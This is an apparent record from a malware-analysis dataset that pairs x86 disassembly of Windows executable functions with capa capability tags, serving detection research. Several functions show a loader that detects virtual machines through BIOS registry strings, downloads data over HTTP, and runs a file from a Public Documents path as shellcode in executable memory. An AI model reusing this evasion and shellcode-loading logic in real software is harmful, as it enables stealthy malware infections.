joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4699a0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4699b7
add esp, 0xfffffff0
call fcn.00403f60
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00424ca8
mov eax, dword [0x513b48]
cmp word [eax + 2], 0
jne 0x4699df
mov eax, dword [0x513b48]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0046b468
mov eax, dword [0x513cc8]
cmp word [eax + 2], 0
jne 0x4699f9
mov eax, dword [0x513cc8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0046b674
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41b698]
call fcn.00403c0c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41b698]
call fcn.00403c0c
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x41b698]
call fcn.00403c0c
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x42a858]
call fcn.00432074
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x469bb0
mov eax, dword [0x513984]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00432448
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x46bd44
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x513984]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040f07c
test eax, eax
je 0x469b00
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040a490
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040f0b0
test eax, eax
je 0x469b14
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404cf8
mov byte [ebx + 0xd4], 0
push ebx
push 0x46afb0
call fcn.00426460
mov dword [ebx + 0xc8], eax
mov eax, dword [0x51370c]
cmp byte [eax], 0
jne 0x469b65
mov eax, ebx
call fcn.00469cf4
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.0046bf20
mov eax, ebx
call fcn.0046ca80
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x469ba5
call fcn.00403fb8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x469f74
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x5175ac]
cmp dword [eax + 0x30], 0
je 0x46a01e
cmp dword [ebx + 0x94], 0
jne 0x46a018
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x469f04
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x46a018
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x469fde
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x46a018
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041ddc8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x469fed
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x46ad38
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x46ad6d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404b78
jmp 0x46ad7a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404adc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x46c104
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46c172
mov eax, esi
call fcn.00455bd8
test al, al
je 0x46c172
mov eax, dword [ebx + 0x84]
call fcn.00455838
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46c172
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x46c166
push 0
mov eax, dword [ebx + 0x84]
call fcn.00455838
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0044dc24
jmp 0x46c172
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0046bf40
pop esi
pop ebx
ret
Function at 0x4a0774
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, ecx
mov dword [esp], edx
mov esi, eax
xor eax, eax
mov dword [esp + 4], eax
mov byte [esp + 8], 0
test esi, esi
je 0x4a084c
mov eax, esi
call fcn.00404d48
dec eax
jne 0x4a07b5
mov ecx, ebx
mov edx, dword [esp]
movzx eax, byte [esi]
call fcn.004a060c
mov dword [esp + 4], eax
jmp 0x4a084c
cmp ebx, 1
jge 0x4a07bf
mov ebx, 1
mov edi, ebx
mov eax, dword [esp]
call fcn.00404d48
mov ebx, eax
mov eax, esi
call fcn.00404d48
sub ebx, eax
inc ebx
sub ebx, edi
jl 0x4a084c
inc ebx
mov dword [esp + 0xc], ebx
mov eax, dword [esp]
cmp byte [eax + edi - 1], 0x22
jne 0x4a07f3
movzx eax, byte [esp + 8]
xor al, 1
mov byte [esp + 8], al
cmp byte [esp + 8], 0
jne 0x4a0845
mov eax, dword [esp]
movzx eax, byte [eax + edi - 1]
cmp al, byte [esi]
jne 0x4a0845
mov eax, esi
call fcn.00404d48
mov ebp, eax
sub ebp, 2
jl 0x4a083e
inc ebp
mov ebx, 2
lea eax, [ebx + edi]
mov edx, dword [esp]
movzx eax, byte [edx + eax - 2]
cmp al, byte [esi + ebx - 1]
jne 0x4a083e
mov eax, esi
call fcn.00404d48
cmp ebx, eax
jne 0x4a083a
mov dword [esp + 4], edi
inc ebx
dec ebp
jne 0x4a081a
cmp dword [esp + 4], 0
jne 0x4a084c
inc edi
dec dword [esp + 0xc]
jne 0x4a07de
mov eax, dword [esp + 4]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4ed6dc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
test dl, dl
je 0x4ed6fa
add esp, 0xfffffff0
call fcn.00403f60
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x4ed8b9
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, edi
call fcn.00403c0c
mov dword [edi + 0x84], 0xfffffc19
mov dword [edi + 4], esi
movzx eax, word [ebp + 8]
mov word [edi + 8], ax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0xc], eax
mov dword [edi + 0x44], 0xffffffff
mov byte [edi + 0x28], 0
mov byte [edi + 0x49], 1
mov byte [edi + 0x48], 0
lea eax, [edi + 0x30]
call fcn.00406a70
mov edx, 0x4ed8e8
mov eax, edi
call fcn.004f29ac
mov byte [edi + 0x78], al
mov edx, 0x4ed8fc
mov eax, edi
call fcn.004f29ac
mov byte [edi + 0x54], al
mov byte [edi + 0x55], 0
mov byte [edi + 0x58], 0
lea eax, [edi + 0x4c]
call fcn.00404a88
lea eax, [edi + 0x50]
call fcn.00404a88
mov byte [edi + 0x88], 0
mov byte [edi + 0x90], 0
cmp byte [edi + 0x54], 0
je 0x4ed821
lea eax, [ebp - 8]
push eax
mov edx, 0x4ed8fc
mov eax, edi
pop ecx
call fcn.004f298c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00409430
mov edx, dword [ebp - 4]
mov eax, 0x4ed90c
call fcn.00405090
mov esi, eax
cmp esi, 1
jle 0x4ed83f
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404fac
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00409430
mov edx, dword [ebp - 0xc]
lea eax, [edi + 0x4c]
call fcn.00404adc
lea eax, [ebp - 0x18]
push eax
lea edx, [esi + 1]
mov ecx, 0x7fffffff
mov eax, dword [ebp - 4]
call fcn.00404fac
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00409430
mov edx, dword [ebp - 0x14]
lea eax, [edi + 0x50]
call fcn.00404adc
jmp 0x4ed83f
mov eax, edi
call fcn.004ef028
cmp ax, 0x24e
je 0x4ed83b
mov eax, edi
call fcn.004ef028
cmp ax, 0x24f
jne 0x4ed83f
mov byte [edi + 0x54], 1
cmp byte [edi + 0x54], 0
je 0x4ed84b
mov byte [edi + 0x27], 2
jmp 0x4ed894
mov eax, edi
call fcn.004ef028
movsx eax, ax
cmp eax, 0x1f4
jge 0x4ed870
add eax, 0xfffffe20
sub eax, 4
jb 0x4ed88a
add eax, 0xfffffff4
sub eax, 2
jb 0x4ed88a
jmp 0x4ed890
add eax, 0xfffffe0c
sub eax, 2
jb 0x4ed88a
add eax, 0xffffffd0
sub eax, 2
jb 0x4ed88a
add eax, 0xffffffe4
sub eax, 2
jae 0x4ed890
mov byte [edi + 0x27], 1
jmp 0x4ed894
mov byte [edi + 0x27], 0
mov eax, edi
mov edx, dword [eax]
call dword [edx + 0x9c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ed8c0
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404aac
ret
Function at 0x401600
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x41a68a
call fcn.00417204
mov eax, 0x10d8
call fcn.004146a0
push ebx
push esi
xor eax, eax
push edi
mov word [ebp - 0x38], ax
xor ebx, ebx
push 0x1c
lea eax, [ebp - 0x38]
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], ebx
call fcn.00403782
push ebx
push ebx
push ebx
push ebx
push str.Download
mov dword [ebp - 4], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, ebx
je 0x401769
cmp dword [ebp - 0x24], 8
mov eax, dword [ebp - 0x38]
jae 0x40165e
lea eax, [ebp - 0x38]
push ebx
push 0x84000100
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, ebx
jne 0x401683
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401769
lea eax, [ebp - 0xe4]
push eax
call fcn.004020c9
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xd8], 6
je 0x4016b5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
jmp 0x401742
lea eax, [ebp - 0x14]
push eax
mov edi, 0x1000
push edi
lea eax, [ebp - 0x10e4]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x4016fa
cmp dword [ebp - 0x14], ebx
jbe 0x401700
push ebx
push dword [ebp - 0x14]
lea eax, [ebp - 0x10e4]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00401d19
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x10e4]
push eax
push dword [ebp - 0x18]
call esi
test eax, eax
jne 0x4016cf
lea ecx, [ebp - 0xe0]
call fcn.00402b50
test eax, eax
jne 0x401734
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xe4]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x40172d
or eax, 4
push ebx
push eax
call fcn.0040141d
push dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.004021a4
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], vtable.std::ios_base.0
call fcn.0040506e
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x38]
call fcn.00402af2
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4017e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDocumentsinx.ch
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x53
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40186b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
mov esi, str.HARDWAREDESCRIPTIONSystemBIOS
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4018c1
push esi
push ecx
push str.Failed_to_open_registry_key:
push 0x422a50
call fcn.004047fb
add esp, 0xc
push eax
call fcn.004047fb
push eax
call fcn.00401594
add esp, 0xc
xor al, al
jmp 0x4019bc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa8]
push eax
push ebx
push ebx
push str.SystemManufacturer
push dword [ebp - 4]
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40190a
push str.Failed_to_query_value:_SystemManufacturer
push 0x422a50
call fcn.004047fb
push eax
call fcn.00401594
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4018ba
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0x24], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401929
sub eax, edx
push eax
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x24]
call fcn.004034ff
push str.VMware
lea eax, [ebp - 0x24]
push eax
call fcn.00401aeb
or esi, 0xffffffff
cmp eax, esi
jne 0x4019af
push str.Virtual
lea eax, [ebp - 0x24]
push eax
call fcn.00401aeb
cmp eax, esi
jne 0x4019af
push str.Microsoft_Corporation
lea eax, [ebp - 0x24]
push eax
call fcn.00401aeb
cmp eax, esi
jne 0x4019af
push str.innotek_GmbH
lea eax, [ebp - 0x24]
push eax
call fcn.00401aeb
cmp eax, esi
jne 0x4019af
push str.Parallels_Software_International_Inc.
lea eax, [ebp - 0x24]
push eax
call fcn.00401aeb
cmp eax, esi
jne 0x4019af
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a17
jmp 0x4018ba
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a17
mov al, 1
pop esi
pop ebx
leave
ret
Function at 0x4019c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4019e9
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.00407137
mov dword [esp + 0xc], eax
pop ecx
lea eax, [esp + 8]
push eax
mov dword [esp + 0x10], edx
call fcn.00406fde
pop ecx
mov esi, eax
push dword [esi + 0xc]
mov eax, str._:_
push ecx
push eax
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push eax
mov eax, dword [esi + 0x14]
push ecx
add eax, 0x76c
push eax
mov edi, 0x422978
push edi
call fcn.00401b30
pop ecx
push eax
call fcn.004047fb
add esp, 0xc
push eax
call fcn.00401b30
pop ecx
push eax
call fcn.004047fb
add esp, 0xc
push eax
call fcn.00401b30
push dword [esi]
mov eax, 0x41e2f4
push ecx
push eax
push ecx
push dword [esi + 4]
push ecx
push eax
push ecx
push dword [esi + 8]
push ecx
push 0x41e2f8
push edi
call fcn.004047fb
add esp, 0xc
push eax
call fcn.00401b30
pop ecx
push eax
call fcn.004047fb
add esp, 0xc
push eax
call fcn.00401b30
pop ecx
push eax
call fcn.004047fb
add esp, 0xc
push eax
call fcn.00401b30
push eax
call fcn.00401594
pop ecx
call fcn.0040186b
test al, al
je 0x401aaa
xor eax, eax
inc eax
jmp 0x401abb
call fcn.00401600
call fcn.0040179e
call fcn.004017e8
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402253
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a4c0
call fcn.00417204
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402270
xor eax, eax
jmp 0x402298
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x4022a8
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x4022a8
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x4022c8
mov ecx, esi
call fcn.00402d10
cmp dword [esi + 0x44], edi
jne 0x4022cd
push dword [esi + 0x54]
push ebx
call fcn.004015ca
pop ecx
pop ecx
test al, al
jne 0x402295
or eax, 0xffffffff
jmp 0x402297
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00403573
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402380
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x40239e
cmp eax, 1
jg 0x402388
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402334
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x40235a
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402347
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406c93
add esp, 0x10
cmp edi, eax
jne 0x40239e
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x4023b4
test edi, edi
jne 0x4022ec
cmp dword [ebp - 0x24], 0x20
jae 0x40239e
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.00402897
jmp 0x4022ec
mov edx, dword [ebp - 0x34]
jmp 0x4022fe
cmp eax, 3
jne 0x40239e
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.004015ca
pop ecx
pop ecx
test al, al
jne 0x4023b4
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00402a17
mov eax, esi
jmp 0x402297
mov esi, dword [ebp + 8]
jmp 0x4023a1
Function at 0x402be3
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a518
call fcn.00417204
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402cd8
cmp byte [esi + 0x49], bl
je 0x402cd8
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402c1b
xor al, al
jmp 0x402cda
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00403573
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c7b
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x402c80
dec eax
je 0x402c84
dec eax
dec eax
je 0x402cd4
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402a17
mov al, bl
pop edi
jmp 0x402cda
mov edx, dword [ebp - 0x2c]
jmp 0x402c45
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c90
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402cb6
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402ca3
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406c93
add esp, 0x10
cmp edi, eax
jne 0x402c68
cmp byte [esi + 0x49], 0
je 0x402cd4
test edi, edi
jne 0x402c37
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402897
jmp 0x402c37
mov bl, 1
jmp 0x402c6a
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x408071
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42165c]
jne 0x40807b
repz ret
jmp fcn.0040e7fc
Function at 0x414ce4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42165c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c848
and dword [ebp - 0x14], 0
cmp dword [0x4239bc], 0
mov dword [ebp - 0x18], eax
jne 0x414d97
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414e3f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414e3f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4239bc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4239c0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4239c4], eax
call edi
push eax
call esi
mov dword [0x4239cc], eax
test eax, eax
je 0x414d97
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4239c8], eax
mov eax, dword [0x4239c8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414df0
cmp dword [0x4239cc], ecx
je 0x414df0
push eax
call esi
push dword [0x4239cc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414df0
test ebx, ebx
je 0x414df0
call edi
test eax, eax
je 0x414de7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414de7
test byte [ebp - 8], 1
jne 0x414df0
or dword [ebp + 0x10], 0x200000
jmp 0x414e23
mov eax, dword [0x4239c0]
cmp eax, dword [ebp - 0x18]
je 0x414e23
push eax
call esi
test eax, eax
je 0x414e23
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414e23
mov eax, dword [0x4239c4]
cmp eax, dword [ebp - 0x18]
je 0x414e23
push eax
call esi
test eax, eax
je 0x414e23
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4239bc]
call esi
test eax, eax
je 0x414e3f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414e41
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408071
leave
ret